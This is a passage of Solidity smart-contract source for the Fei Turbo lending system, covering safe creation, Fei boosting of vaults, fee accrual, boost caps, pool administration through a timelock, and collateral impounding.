arrays into index getters, /// but we need a way to allow external contracts and users to access the whole array. function getAllSafes() external view returns (TurboSafe[] memory) { return safes; } /*/////////////////////////////////////////////////////////////// SAFE CREATION LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted when a new Safe is created. /// @param user The user who created the Safe. /// @param asset The asset of the Safe. /// @param safe The newly deployed Safe contract. /// @param id The index of the Safe in the safes array. event TurboSafeCreated(address indexed user, ERC20 indexed asset, TurboSafe safe, uint256 id); /// @notice Creates a new Turbo Safe which supports a specific asset. /// @param asset The ERC20 token that the Safe should accept. /// @return safe The newly deployed Turbo Safe which accepts the provided asset. function createSafe(ERC20 asset) external requiresAuth returns (TurboSafe safe, uint256 id) { // Create a new Safe using the default authority and provided asset. safe = new TurboSafe(msg.sender, defaultSafeAuthority, asset); // Add the safe to the list of Safes. safes.push(safe); unchecked { // Get the index/id of the new Safe. // Cannot underflow, we just pushed to it. id = safes.length - 1; } // Store the id/index of the new Safe. getSafeId[safe] = id; emit TurboSafeCreated(msg.sender, asset, safe, id); // Prepare a users array to whitelist the Safe. address[] memory users = new address[](1); users[0] = address(safe); // Prepare an enabled array to whitelist the Safe. bool[] memory enabled = new bool[](1); enabled[0] = true; // Whitelist the Safe to access the Turbo Fuse Pool. FuseAdmin(pool.admin())._setWhitelistStatuses(users, enabled); } /*/////////////////////////////////////////////////////////////// SAFE CALLBACK LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Callback triggered whenever a Safe boosts a Vault. /// @param asset The asset of the Safe. /// @param vault The Vault that was boosted. /// @param feiAmount The amount of Fei used to boost the Vault. function onSafeBoost( ERC20 asset, ERC4626 vault, uint256 feiAmount ) external { // Get the caller as a Safe instance. TurboSafe safe = TurboSafe(msg.sender); // Ensure the Safe was created by this Master. require(getSafeId[safe] != 0, "INVALID_SAFE"); // Update the total amount of Fei being using to boost Vaults. totalBoosted += feiAmount; // Cache the new total boosted for the Vault. uint256 newTotalBoostedForVault; // Cache the new total boosted against the Vault's collateral. uint256 newTotalBoostedAgainstCollateral; // Update the total amount of Fei being using to boost the Vault. getTotalBoostedForVault[vault] = (newTotalBoostedForVault = getTotalBoostedForVault[vault] + feiAmount); // Update the total amount of Fei boosted against the collateral type. getTotalBoostedAgainstCollateral[asset] = (newTotalBoostedAgainstCollateral = getTotalBoostedAgainstCollateral[asset] + feiAmount); // Check with the booster that the Safe is allowed to boost the Vault using this amount of Fei. require( booster.canSafeBoostVault( safe, asset, vault, feiAmount, newTotalBoostedForVault, newTotalBoostedAgainstCollateral ), "BOOSTER_REJECTED" ); } /// @notice Callback triggered whenever a Safe withdraws from a Vault. /// @param asset The asset of the Safe. /// @param vault The Vault that was withdrawn from. /// @param feiAmount The amount of Fei withdrawn from the Vault. function onSafeLess( ERC20 asset, ERC4626 vault, uint256 feiAmount ) external { // Get the caller as a Safe instance. TurboSafe safe = TurboSafe(msg.sender); // Ensure the Safe was created by this Master. require(getSafeId[safe] != 0, "INVALID_SAFE"); // Update the total amount of Fei being using to boost the Vault. getTotalBoostedForVault[vault] -= feiAmount; // Update the total amount of Fei being using to boost Vaults. totalBoosted -= feiAmount; // Update the total amount of Fei boosted against the collateral type. getTotalBoostedAgainstCollateral[asset] -= feiAmount; } /*/////////////////////////////////////////////////////////////// SWEEP LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted a token is sweeped from the Master. /// @param user The user who sweeped the token from the Master. /// @param to The recipient of the sweeped tokens. /// @param amount The amount of the token that was sweeped. event TokenSweeped(address indexed user, address indexed to, ERC20 indexed token, uint256 amount); /// @notice Claim tokens sitting idly in the Master. /// @param to The recipient of the sweeped tokens. /// @param token The token to sweep and send. /// @param amount The amount of the token to sweep. function sweep( address to, ERC20 token, uint256 amount ) external requiresAuth { emit TokenSweeped(msg.sender, to, token, amount); // Transfer the sweeped tokens to the recipient. token.safeTransfer(to, amount); } } /// @title Turbo Safe /// @author Transmissions11 /// @notice Fuse liquidity accelerator. contract TurboSafe is Auth, ERC4626, ReentrancyGuard { using SafeTransferLib for ERC20; using FixedPointMathLib for uint256; /*/////////////////////////////////////////////////////////////// IMMUTABLES //////////////////////////////////////////////////////////////*/ /// @notice The Master contract that created the Safe. /// @dev Fees are paid directly to the Master, where they can be swept. TurboMaster public immutable master; /// @notice The Fei token on the network. ERC20 public immutable fei; /// @notice The Turbo Fuse Pool contract that collateral is held in and Fei is borrowed from. Comptroller public immutable pool; /// @notice The Fei cToken in the Turbo Fuse Pool that Fei is borrowed from. CERC20 public immutable feiTurboCToken; /// @notice The cToken that accepts the asset in the Turbo Fuse Pool. CERC20 public immutable assetTurboCToken; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Safe that accepts a specific asset. /// @param _owner The owner of the Safe. /// @param _authority The Authority of the Safe. /// @param _asset The ERC20 compliant token the Safe should accept. constructor( address _owner, Authority _authority, ERC20 _asset ) Auth(_owner, _authority) ERC4626( _asset, // ex: Dai Stablecoin Turbo Safe string(abi.encodePacked(_asset.name(), " Turbo Safe")), // ex: tsDAI string(abi.encodePacked("ts", _asset.symbol())) ) { master = TurboMaster(msg.sender); fei = master.fei(); // An asset of Fei makes no sense. require(asset != fei, "INVALID_ASSET"); pool = master.pool(); feiTurboCToken = pool.cTokensByUnderlying(fei); assetTurboCToken = pool.cTokensByUnderlying(asset); // If the provided asset is not supported by the Turbo Fuse Pool, revert. require(address(assetTurboCToken) != address(0), "UNSUPPORTED_ASSET"); // Construct an array of market(s) to enable as collateral. CERC20[] memory marketsToEnter = new CERC20[](1); marketsToEnter[0] = assetTurboCToken; // Enter the market(s) and ensure to properly revert if there is an error. require(pool.enterMarkets(marketsToEnter)[0] == 0, "ENTER_MARKETS_FAILED"); // Preemptively approve the asset to the Turbo Fuse Pool's corresponding cToken. asset.safeApprove(address(assetTurboCToken), type(uint256).max); // Preemptively approve Fei to the Turbo Fuse Pool's Fei cToken. fei.safeApprove(address(feiTurboCToken), type(uint256).max); } /*/////////////////////////////////////////////////////////////// SAFE STORAGE //////////////////////////////////////////////////////////////*/ /// @notice The current total amount of Fei the Safe is using to boost Vaults. uint256 public totalFeiBoosted; /// @notice Maps Vaults to the total amount of Fei they've being boosted with. /// @dev Used to determine the fees to be paid back to the Master. mapping(ERC4626 => uint256) public getTotalFeiBoostedForVault; /*/////////////////////////////////////////////////////////////// MODIFIERS //////////////////////////////////////////////////////////////*/ /// @dev Checks the caller is authorized using either the Master's Authority or the Safe's local Authority. modifier requiresLocalOrMasterAuth() { // Check if the caller is the owner first: if (msg.sender != owner) { Authority masterAuth = master.authority(); // Avoid wasting gas calling the Master twice. // If the Master's Authority does not exist or does not accept upfront: if (address(masterAuth) == address(0) || !masterAuth.canCall(msg.sender, address(this), msg.sig)) { Authority auth = authority; // Memoizing saves us a warm SLOAD, around 100 gas. // The only authorization option left is via the local Authority, otherwise revert. require( address(auth) != address(0) && auth.canCall(msg.sender, address(this), msg.sig), "UNAUTHORIZED" ); } } _; } /// @dev Checks the caller is authorized using the Master's Authority. modifier requiresMasterAuth() { Authority masterAuth = master.authority(); // Avoid wasting gas calling the Master twice. // Revert if the Master's Authority does not approve of the call and the caller is not the Master's owner. require( (address(masterAuth) != address(0) && masterAuth.canCall(msg.sender, address(this), msg.sig)) || msg.sender == master.owner(), "UNAUTHORIZED" ); _; } /*/////////////////////////////////////////////////////////////// ERC4626 LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Called after any type of deposit occurs. /// @param assetAmount The amount of assets being deposited. /// @dev Using requiresAuth here prevents unauthorized users from depositing. function afterDeposit(uint256 assetAmount, uint256) internal override nonReentrant requiresAuth { // Collateralize the assets in the Turbo Fuse Pool. require(assetTurboCToken.mint(assetAmount) == 0, "MINT_FAILED"); } /// @notice Called before any type of withdrawal occurs. /// @param assetAmount The amount of assets being withdrawn. /// @dev Using requiresAuth here prevents unauthorized users from withdrawing. function beforeWithdraw(uint256 assetAmount, uint256) internal override nonReentrant requiresAuth { // Withdraw the assets from the Turbo Fuse Pool. require(assetTurboCToken.redeemUnderlying(assetAmount) == 0, "REDEEM_FAILED"); } /// @notice Returns the total amount of assets held in the Safe. /// @return The total amount of assets held in the Safe. function totalAssets() public view override returns (uint256) { return assetTurboCToken.balanceOf(address(this)).mulWadDown(assetTurboCToken.exchangeRateStored()); } /*/////////////////////////////////////////////////////////////// BOOST/LESS LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted when a Vault is boosted by the Safe. /// @param user The user who boosted the Vault. /// @param vault The Vault that was boosted. /// @param feiAmount The amount of Fei that was boosted to the Vault. event VaultBoosted(address indexed user, ERC4626 indexed vault, uint256 feiAmount); /// @notice Borrow Fei from the Turbo Fuse Pool and deposit it into an authorized Vault. /// @param vault The Vault to deposit the borrowed Fei into. /// @param feiAmount The amount of Fei to borrow and supply into the Vault. function boost(ERC4626 vault, uint256 feiAmount) external nonReentrant requiresAuth { // Ensure the Vault accepts Fei asset. require(vault.asset() == fei, "NOT_FEI"); // Call the Master where it will do extra validation // and update it's total count of funds used for boosting. master.onSafeBoost(asset, vault, feiAmount); // Increase the boost total proportionately. totalFeiBoosted += feiAmount; // Update the total Fei deposited into the Vault proportionately. getTotalFeiBoostedForVault[vault] += feiAmount; emit VaultBoosted(msg.sender, vault, feiAmount); // Borrow the Fei amount from the Fei cToken in the Turbo Fuse Pool. require(feiTurboCToken.borrow(feiAmount) == 0, "BORROW_FAILED"); // Approve the borrowed Fei to the specified Vault. fei.safeApprove(address(vault), feiAmount); // Deposit the Fei into the specified Vault. vault.deposit(feiAmount, address(this)); } /// @notice Emitted when a Vault is withdrawn from by the Safe. /// @param user The user who lessed the Vault. /// @param vault The Vault that was withdrawn from. /// @param feiAmount The amount of Fei that was withdrawn from the Vault. event VaultLessened(address indexed user, ERC4626 indexed vault, uint256 feiAmount); /// @notice Withdraw Fei from a deposited Vault and use it to repay debt in the Turbo Fuse Pool. /// @param vault The Vault to withdraw the Fei from. /// @param feiAmount The amount of Fei to withdraw from the Vault and repay in the Turbo Fuse Pool. function less(ERC4626 vault, uint256 feiAmount) external nonReentrant requiresLocalOrMasterAuth { // Update the total Fei deposited into the Vault proportionately. getTotalFeiBoostedForVault[vault] -= feiAmount; // Decrease the boost total proportionately. totalFeiBoosted -= feiAmount; emit VaultLessened(msg.sender, vault, feiAmount); // Withdraw the specified amount of Fei from the Vault. vault.withdraw(feiAmount, address(this), address(this)); // Get out current amount of Fei debt in the Turbo Fuse Pool. uint256 feiDebt = feiTurboCToken.borrowBalanceCurrent(address(this)); // Call the Master to allow it to update its accounting. master.onSafeLess(asset, vault, feiAmount); // If our debt balance decreased, repay the minimum. // The surplus Fei will accrue as fees and can be sweeped. if (feiAmount > feiDebt) feiAmount = feiDebt; // Repay Fei debt in the Turbo Fuse Pool, unless we would repay nothing. if (feiAmount != 0) require(feiTurboCToken.repayBorrow(feiAmount) == 0, "REPAY_FAILED"); } /*/////////////////////////////////////////////////////////////// SLURP LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted when a Vault is slurped from by the Safe. /// @param user The user who slurped the Vault. /// @param vault The Vault that was slurped. /// @param protocolFeeAmount The amount of Fei accrued as fees to the Master. /// @param safeInterestAmount The amount of Fei accrued as interest to the Safe. event VaultSlurped( address indexed user, ERC4626 indexed vault, uint256 protocolFeeAmount, uint256 safeInterestAmount ); /// @notice Accrue any interest earned by the Safe in the Vault. /// @param vault The Vault to accrue interest from, if any. /// @dev Sends a portion of the interest to the Master, as determined by the Clerk. function slurp(ERC4626 vault) external nonReentrant requiresLocalOrMasterAuth returns(uint256 safeInterestAmount) { // Cache the total Fei currently boosting the Vault. uint256 totalFeiBoostedForVault = getTotalFeiBoostedForVault[vault]; // Ensure the Safe has Fei currently boosting the Vault. require(totalFeiBoostedForVault != 0, "NO_FEI_BOOSTED"); // Compute the amount of Fei interest the Safe generated by boosting the Vault. uint256 interestEarned = vault.previewRedeem(vault.balanceOf(address(this))) - totalFeiBoostedForVault; // Compute what percentage of the interest earned will go back to the Safe. uint256 protocolFeePercent = master.clerk().getFeePercentageForSafe(this, asset); // Compute the amount of Fei the protocol will retain as fees. uint256 protocolFeeAmount = interestEarned.mulWadDown(protocolFeePercent); // Compute the amount of Fei the Safe will retain as interest. safeInterestAmount = interestEarned - protocolFeeAmount; emit VaultSlurped(msg.sender, vault, protocolFeeAmount, safeInterestAmount); vault.withdraw(interestEarned, address(this), address(this)); // If we have unaccrued fees, withdraw them from the Vault and transfer them to the Master. if (protocolFeeAmount != 0) fei.transfer(address(master), protocolFeeAmount); } /*/////////////////////////////////////////////////////////////// SWEEP LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted a token is sweeped from the Safe. /// @param user The user who sweeped the token from the Safe. /// @param to The recipient of the sweeped tokens. /// @param amount The amount of the token that was sweeped. event TokenSweeped(address indexed user, address indexed to, ERC20 indexed token, uint256 amount); /// @notice Claim tokens sitting idly in the Safe. /// @param to The recipient of the sweeped tokens. /// @param token The token to sweep and send. /// @param amount The amount of the token to sweep. function sweep( address to, ERC20 token, uint256 amount ) external requiresAuth { // Ensure the caller is not trying to steal Vault shares or collateral cTokens. require(getTotalFeiBoostedForVault[ERC4626(address(token))] == 0 && token != assetTurboCToken, "INVALID_TOKEN"); emit TokenSweeped(msg.sender, to, token, amount); // Transfer the sweeped tokens to the recipient. token.safeTransfer(to, amount); } /*/////////////////////////////////////////////////////////////// GIB LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted when a Safe is gibbed. /// @param user The user who gibbed the Safe. /// @param to The recipient of the impounded collateral. /// @param assetAmount The amount of underling tokens impounded. event SafeGibbed(address indexed user, address indexed to, uint256 assetAmount); /// @notice Impound a specific amount of a Safe's collateral. /// @param to The address to send the impounded collateral to. /// @param assetAmount The amount of the asset to impound. /// @dev Debt must be repaid in advance, or the redemption will fail. function gib(address to, uint256 assetAmount) external nonReentrant requiresMasterAuth { emit SafeGibbed(msg.sender, to, assetAmount); // Withdraw the specified amount of assets from the Turbo Fuse Pool. require(assetTurboCToken.redeemUnderlying(assetAmount) == 0, "REDEEM_FAILED"); // Transfer the assets to the authorized caller. asset.safeTransfer(to, assetAmount); } } /// @title Turbo Booster /// @author Transmissions11 /// @notice Boost authorization module. contract TurboBooster is Auth, ENSReverseRecordAuth { /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Turbo Booster contract. /// @param _owner The owner of the Booster. /// @param _authority The Authority of the Booster. constructor(address _owner, Authority _authority) Auth(_owner, _authority) {} /*/////////////////////////////////////////////////////////////// GLOBAL FREEZE CONFIGURATION //////////////////////////////////////////////////////////////*/ /// @notice Whether boosting is currently frozen. bool public frozen; /// @notice Emitted when boosting is frozen or unfrozen. /// @param user The user who froze or unfroze boosting. /// @param frozen Whether boosting is now frozen. event FreezeStatusUpdated(address indexed user, bool frozen); /// @notice Sets whether boosting is frozen. /// @param freeze Whether boosting will be frozen. function setFreezeStatus(bool freeze) external requiresAuth { // Update freeze status. frozen = freeze; emit FreezeStatusUpdated(msg.sender, freeze); } /*/////////////////////////////////////////////////////////////// VAULT BOOST CAP CONFIGURATION //////////////////////////////////////////////////////////////*/ ERC4626[] public boostableVaults; /// @notice exposes an array of boostable vaults. Only used for visibility. function getBoostableVaults() external view returns(ERC4626[] memory) { return boostableVaults; } /// @notice Maps Vaults to the cap on the amount of Fei used to boost them. mapping(ERC4626 => uint256) public getBoostCapForVault; /// @notice Emitted when a Vault's boost cap is updated. /// @param vault The Vault who's boost cap was updated. /// @param newBoostCap The new boost cap for the Vault. event BoostCapUpdatedForVault(address indexed user, ERC4626 indexed vault, uint256 newBoostCap); /// @notice Sets a Vault's boost cap. /// @param vault The Vault to set the boost cap for. /// @param newBoostCap The new boost cap for the Vault. function setBoostCapForVault(ERC4626 vault, uint256 newBoostCap) external requiresAuth { require(newBoostCap != 0, "cap is zero"); // Add to boostable vaults array if (getBoostCapForVault[vault] == 0) { boostableVaults.push(vault); } // Update the boost cap for the Vault. getBoostCapForVault[vault] = newBoostCap; emit BoostCapUpdatedForVault(msg.sender, vault, newBoostCap); } /*/////////////////////////////////////////////////////////////// COLLATERAL BOOST CAP CONFIGURATION //////////////////////////////////////////////////////////////*/ /// @notice Maps collateral types to the cap on the amount of Fei boosted against them. mapping(ERC20 => uint256) public getBoostCapForCollateral; /// @notice Emitted when a collateral type's boost cap is updated. /// @param collateral The collateral type who's boost cap was updated. /// @param newBoostCap The new boost cap for the collateral type. event BoostCapUpdatedForCollateral(address indexed user, ERC20 indexed collateral, uint256 newBoostCap); /// @notice Sets a collateral type's boost cap. /// @param collateral The collateral type to set the boost cap for. /// @param newBoostCap The new boost cap for the collateral type. function setBoostCapForCollateral(ERC20 collateral, uint256 newBoostCap) external requiresAuth { // Update the boost cap for the collateral type. getBoostCapForCollateral[collateral] = newBoostCap; emit BoostCapUpdatedForCollateral(msg.sender, collateral, newBoostCap); } /*/////////////////////////////////////////////////////////////// AUTHORIZATION LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Returns whether a Safe is authorized to boost a Vault. /// @param safe The Safe to check is authorized to boost the Vault. /// @param collateral The collateral/asset of the Safe. /// @param vault The Vault to check the Safe is authorized to boost. /// @param feiAmount The amount of Fei asset to check the Safe is authorized boost the Vault with. /// @param newTotalBoostedForVault The total amount of Fei that will boosted to the Vault after boost (if it is not rejected). /// @param newTotalBoostedAgainstCollateral The total amount of Fei that will be boosted against the Safe's collateral type after this boost. /// @return Whether the Safe is authorized to boost the Vault with the given amount of Fei asset. function canSafeBoostVault( TurboSafe safe, ERC20 collateral, ERC4626 vault, uint256 feiAmount, uint256 newTotalBoostedForVault, uint256 newTotalBoostedAgainstCollateral ) external view returns (bool) { return !frozen && getBoostCapForVault[vault] >= newTotalBoostedForVault && getBoostCapForCollateral[collateral] >= newTotalBoostedAgainstCollateral; } } /** @title Turbo Admin of Turbo Fuse Pool and Turbo Timelock */ contract TurboAdmin is Auth, ENSReverseRecordAuth { /// @notice generic error thrown when comptroller call fails error ComptrollerError(); /// @notice the fuse comptroller associated with the TurboAdmin Comptroller public immutable comptroller; /// @notice the turbo timelock TimelockController public immutable timelock; /// @notice constant zero interest rate model address public constant ZERO_IRM = 0xC9dB5A1034BcBcca3f59dD61dbeE31b78CeFD126; /// @notice cToken implementation address public constant CTOKEN_IMPL = 0x67Db14E73C2Dce786B5bbBfa4D010dEab4BBFCF9; /// @param _comptroller the fuse comptroller constructor(Comptroller _comptroller, TimelockController _timelock, Authority _authority) Auth(address(0), _authority) { comptroller = _comptroller; timelock = _timelock; } // ************ TURBO ADMIN FUNCTIONS ************ function addCollateral( address underlying, string calldata name, string calldata symbol, uint256 collateralFactorMantissa, uint256 supplyCap ) external requiresAuth { bytes memory constructorData = abi.encode( underlying, address(comptroller), ZERO_IRM, name, symbol, CTOKEN_IMPL, new bytes(0), 0, // zero admin fee 0 // zero reserve factor ); if ( comptroller._deployMarket( false, constructorData, collateralFactorMantissa ) != 0 ) revert ComptrollerError(); // set borrow paused CERC20 cToken = comptroller.cTokensByUnderlying(ERC20(underlying)); _setBorrowPausedInternal(cToken, true); CERC20[] memory markets = new CERC20[](1); markets[0] = cToken; uint256[] memory caps = new uint256[](1); caps[0] = supplyCap; comptroller._setMarketSupplyCaps(markets, caps); } // ************ BORROW GUARDIAN FUNCTIONS ************ /** * @notice Set the given supply caps for the given cToken markets. Supplying that brings total underlying supply to or above supply cap will revert. * @dev Admin or borrowCapGuardian function to set the supply caps. A supply cap of 0 corresponds to unlimited supplying. * @param cTokens The addresses of the markets (tokens) to change the supply caps for * @param newSupplyCaps The new supply cap values in underlying to be set. A value of 0 corresponds to unlimited supplying. */ function _setMarketSupplyCaps( CERC20[] memory cTokens, uint256[] calldata newSupplyCaps ) external requiresAuth { _setMarketSupplyCapsInternal(cTokens, newSupplyCaps); } function _setMarketSupplyCapsByUnderlying( address[] calldata underlyings, uint256[] calldata newSupplyCaps ) external requiresAuth { _setMarketSupplyCapsInternal( _underlyingToCTokens(underlyings), newSupplyCaps ); } function _setMarketSupplyCapsInternal( CERC20[] memory cTokens, uint256[] calldata newSupplyCaps ) internal { comptroller._setMarketSupplyCaps(cTokens, newSupplyCaps); } function _underlyingToCTokens(address[] calldata underlyings) internal view returns (CERC20[] memory) { CERC20[] memory cTokens = new CERC20[](underlyings.length); for (uint256 i = 0; i < underlyings.length; i++) { CERC20 cToken = comptroller.cTokensByUnderlying(ERC20(underlyings[i])); require(address(cToken) != address(0), "cToken doesn't exist"); cTokens[i] = CERC20(cToken); } return cTokens; } /** * @notice Set the given borrow caps for the given cToken markets. Borrowing that brings total borrows to or above borrow cap will revert. * @dev Admin or borrowCapGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing. * @param cTokens The addresses of the markets (tokens) to change the borrow caps for * @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing. */ function _setMarketBorrowCaps( CERC20[] memory cTokens, uint256[] calldata newBorrowCaps ) external requiresAuth { _setMarketBorrowCapsInternal(cTokens, newBorrowCaps); } function _setMarketBorrowCapsInternal( CERC20[] memory cTokens, uint256[] calldata newBorrowCaps ) internal { comptroller._setMarketBorrowCaps(cTokens, newBorrowCaps); } function _setMarketBorrowCapsByUnderlying( address[] calldata underlyings, uint256[] calldata newBorrowCaps ) external requiresAuth { _setMarketBorrowCapsInternal( _underlyingToCTokens(underlyings), newBorrowCaps ); } /** * @notice Admin function to change the Borrow Cap Guardian * @param newBorrowCapGuardian The address of the new Borrow Cap Guardian */ function _setBorrowCapGuardian(address newBorrowCapGuardian) external requiresAuth { comptroller._setBorrowCapGuardian(newBorrowCapGuardian); } // ************ PAUSE GUARDIAN FUNCTIONS ************ /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) external requiresAuth returns (uint256) { return comptroller._setPauseGuardian(newPauseGuardian); } function _setMintPausedByUnderlying(ERC20 underlying, bool state) external requiresAuth returns (bool) { CERC20 cToken = comptroller.cTokensByUnderlying(underlying); require(address(cToken) != address(0), "cToken doesn't exist"); return _setMintPausedInternal(cToken, state); } function _setMintPaused(CERC20 cToken, bool state) external requiresAuth returns (bool) { return _setMintPausedInternal(cToken, state); } function _setMintPausedInternal(CERC20 cToken, bool state) internal returns (bool) { return comptroller._setMintPaused(cToken, state); } function _setBorrowPausedByUnderlying(ERC20 underlying, bool state) external requiresAuth returns (bool) { CERC20 cToken = comptroller.cTokensByUnderlying(underlying); require(address(cToken) != address(0), "cToken doesn't exist"); return _setBorrowPausedInternal(cToken, state); } function _setBorrowPausedInternal(CERC20 cToken, bool state) internal returns (bool) { return comptroller._setBorrowPaused(cToken, state); } function _setBorrowPaused(CERC20 cToken, bool state) external requiresAuth returns (bool) { return _setBorrowPausedInternal(CERC20(cToken), state); } function _setTransferPaused(bool state) external requiresAuth returns (bool) { return comptroller._setTransferPaused(state); } function _setSeizePaused(bool state) external requiresAuth returns (bool) { return comptroller._setSeizePaused(state); } // ************ FUSE ADMIN FUNCTIONS ************ function oracleAdd( address[] calldata underlyings, address[] calldata _oracles ) external requiresAuth { comptroller.oracle().add(underlyings, _oracles); } function oracleChangeAdmin(address newAdmin) external requiresAuth { comptroller.oracle().changeAdmin(newAdmin); } function _addRewardsDistributor(address distributor) external requiresAuth { if (comptroller._addRewardsDistributor(distributor) != 0) revert ComptrollerError(); } function _setWhitelistEnforcement(bool enforce) external requiresAuth { if (comptroller._setWhitelistEnforcement(enforce) != 0) revert ComptrollerError(); } function _setWhitelistStatuses( address[] calldata suppliers, bool[] calldata statuses ) external requiresAuth { if (comptroller._setWhitelistStatuses(suppliers, statuses) != 0) revert ComptrollerError(); } function _setPriceOracle(address newOracle) public requiresAuth { if (comptroller._setPriceOracle(newOracle) != 0) revert ComptrollerError(); } function _setCloseFactor(uint256 newCloseFactorMantissa) external requiresAuth { if (comptroller._setCloseFactor(newCloseFactorMantissa) != 0) revert ComptrollerError(); } function _setCollateralFactor( CERC20 cToken, uint256 newCollateralFactorMantissa ) public requiresAuth { if ( comptroller._setCollateralFactor( cToken, newCollateralFactorMantissa ) != 0 ) revert ComptrollerError(); } function _setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa) external requiresAuth { if ( comptroller._setLiquidationIncentive( newLiquidationIncentiveMantissa ) != 0 ) revert ComptrollerError(); } function _deployMarket( address underlying, address irm, string calldata name, string calldata symbol, address impl, bytes calldata data, uint256 reserveFactor, uint256 adminFee, uint256 collateralFactorMantissa ) external requiresAuth { bytes memory constructorData = abi.encode( underlying, address(comptroller), irm, name, symbol, impl, data, reserveFactor, adminFee ); if ( comptroller._deployMarket( false, constructorData, collateralFactorMantissa ) != 0 ) revert ComptrollerError(); } function _unsupportMarket(CERC20 cToken) external requiresAuth { if (comptroller._unsupportMarket(cToken) != 0) revert ComptrollerError(); } function _toggleAutoImplementations(bool enabled) public requiresAuth { if (comptroller._toggleAutoImplementations(enabled) != 0) revert ComptrollerError(); } function scheduleSetPendingAdmin(address newPendingAdmin) public requiresAuth { _schedule(address(this), abi.encodeWithSelector(this._setPendingAdmin.selector, newPendingAdmin)); } function _setPendingAdmin(address newPendingAdmin) public { require(msg.sender == address(timelock), "timelock"); if (comptroller._setPendingAdmin(newPendingAdmin) != 0) revert ComptrollerError(); } function _acceptAdmin() public { if (comptroller._acceptAdmin() != 0) revert ComptrollerError(); } // ************ TIMELOCK ADMIN FUNCTIONS ************ function schedule(address target, bytes memory data) public requiresAuth { _schedule(target, data); } function _schedule(address target, bytes memory data) internal { timelock.schedule(target, 0, data, bytes32(0), keccak256(abi.encodePacked(block.timestamp)), 15 days); } function cancel(bytes32 id) public requiresAuth { timelock.cancel(id); } function execute(address target, bytes memory data, bytes32 salt) public requiresAuth { timelock.execute(target, 0, data, bytes32(0), salt); } } /// @title Fei /// @author Fei Protocol /// @notice Minimal interface for the Fei token. abstract contract Fei is ERC20 { function mint(address to, uint256 amount) external virtual; } /// @title Turbo Gibber /// @author Transmissions11 /// @notice Atomic impounder module. contract TurboGibber is Auth, ReentrancyGuard, ENSReverseRecordAuth { using SafeTransferLib for Fei; /*/////////////////////////////////////////////////////////////// IMMUTABLES //////////////////////////////////////////////////////////////*/ /// @notice The Master contract. /// @dev Used to validate Safes are legitimate. TurboMaster public immutable master; /// @notice The Fei token on the network. Fei public immutable fei; /// @notice The Fei cToken in the Turbo Fuse Pool. CERC20 public immutable feiTurboCToken; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Turbo Gibber contract. /// @param _master The Master of the Gibber. /// @param _owner The owner of the Gibber. /// @param _authority The Authority of the Gibber. constructor( TurboMaster _master, address _owner, Authority _authority ) Auth(_owner, _authority) { master = _master; fei = Fei(address(master.fei())); feiTurboCToken = master.pool().cTokensByUnderlying(fei); // Preemptively approve to the Fei cToken in the Turbo Fuse Pool. fei.safeApprove(address(feiTurboCToken), type(uint256).max); } /*/////////////////////////////////////////////////////////////// ATOMIC IMPOUND LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted an impound is executed. /// @param user The user who executed the impound. /// @param safe The Safe that was impounded. /// @param feiAmount The amount of Fei that was repaid. /// @param assetAmount The amount of assets impounded. event ImpoundExecuted(address indexed user, TurboSafe indexed safe, uint256 feiAmount, uint256 assetAmount); /// @notice Impound a safe. /// @param safe The Safe to be impounded. /// @param feiAmount The amount of Fei to repay the Safe's debt with. /// @param assetAmount The amount of assets to impound. /// @param to The recipient of the impounded collateral tokens. function impound( TurboSafe safe, uint256 feiAmount, uint256 assetAmount, address to ) external requiresAuth nonReentrant { // Ensure the Safe is registered with the Master. require(master.getSafeId(safe) != 0); emit ImpoundExecuted(msg.sender, safe, feiAmount, assetAmount); // Mint the Fei amount requested. fei.mint(address(this), feiAmount); // Repay the safe's Fei debt with the minted Fei, ensuring to catch cToken errors. require(feiTurboCToken.repayBorrowBehalf(address(safe), feiAmount) == 0, "REPAY_FAILED"); // Impound some of the safe's collateral and send it to the chosen recipient. safe.gib(to, assetAmount); } /// @notice Impound all of a safe's collateral. /// @param safe The Safe to be impounded. /// @param to The recipient of the impounded collateral tokens. function impoundAll(TurboSafe safe, address to) external requiresAuth nonReentrant { // Ensure the Safe is registered with the Master. require(master.getSafeId(safe) != 0); // Get the asset cToken in the Turbo Fuse Pool. CERC20 assetTurboCToken = safe.assetTurboCToken(); // Get the amount of assets to impound from the Safe. uint256 assetAmount = assetTurboCToken.balanceOfUnderlying(address(safe)); // Get the amount of Fei debt to repay for the Safe. uint256 feiAmount = feiTurboCToken.borrowBalanceCurrent(address(safe)); emit ImpoundExecuted(msg.sender, safe, feiAmount, assetAmount); // Mint the Fei amount requested. fei.mint(address(this), feiAmount); // Repay the safe's Fei debt with the minted Fei, ensuring to catch cToken errors. require(feiTurboCToken.repayBorrowBehalf(address(safe), feiAmount) == 0, "REPAY_FAILED"); // Impound all of the safe's collateral and send it to the chosen recipient. safe.gib(to, assetAmount); } } /// @title Turbo Savior /// @author Transmissions11 /// @notice Safe repayment module. contract TurboSavior is Auth, ReentrancyGuard, ENSReverseRecordAuth { using FixedPointMathLib for uint256; /*/////////////////////////////////////////////////////////////// IMMUTABLES //////////////////////////////////////////////////////////////*/ /// @notice The Master contract. /// @dev Used to validate Safes are legitimate. TurboMaster public immutable master; /// @notice The Fei token on the network. Fei public immutable fei; /// @notice The Turbo Fuse Pool used by the Master. Comptroller public immutable pool; /// @notice The Fei cToken in the Turbo Fuse Pool. CERC20 public immutable 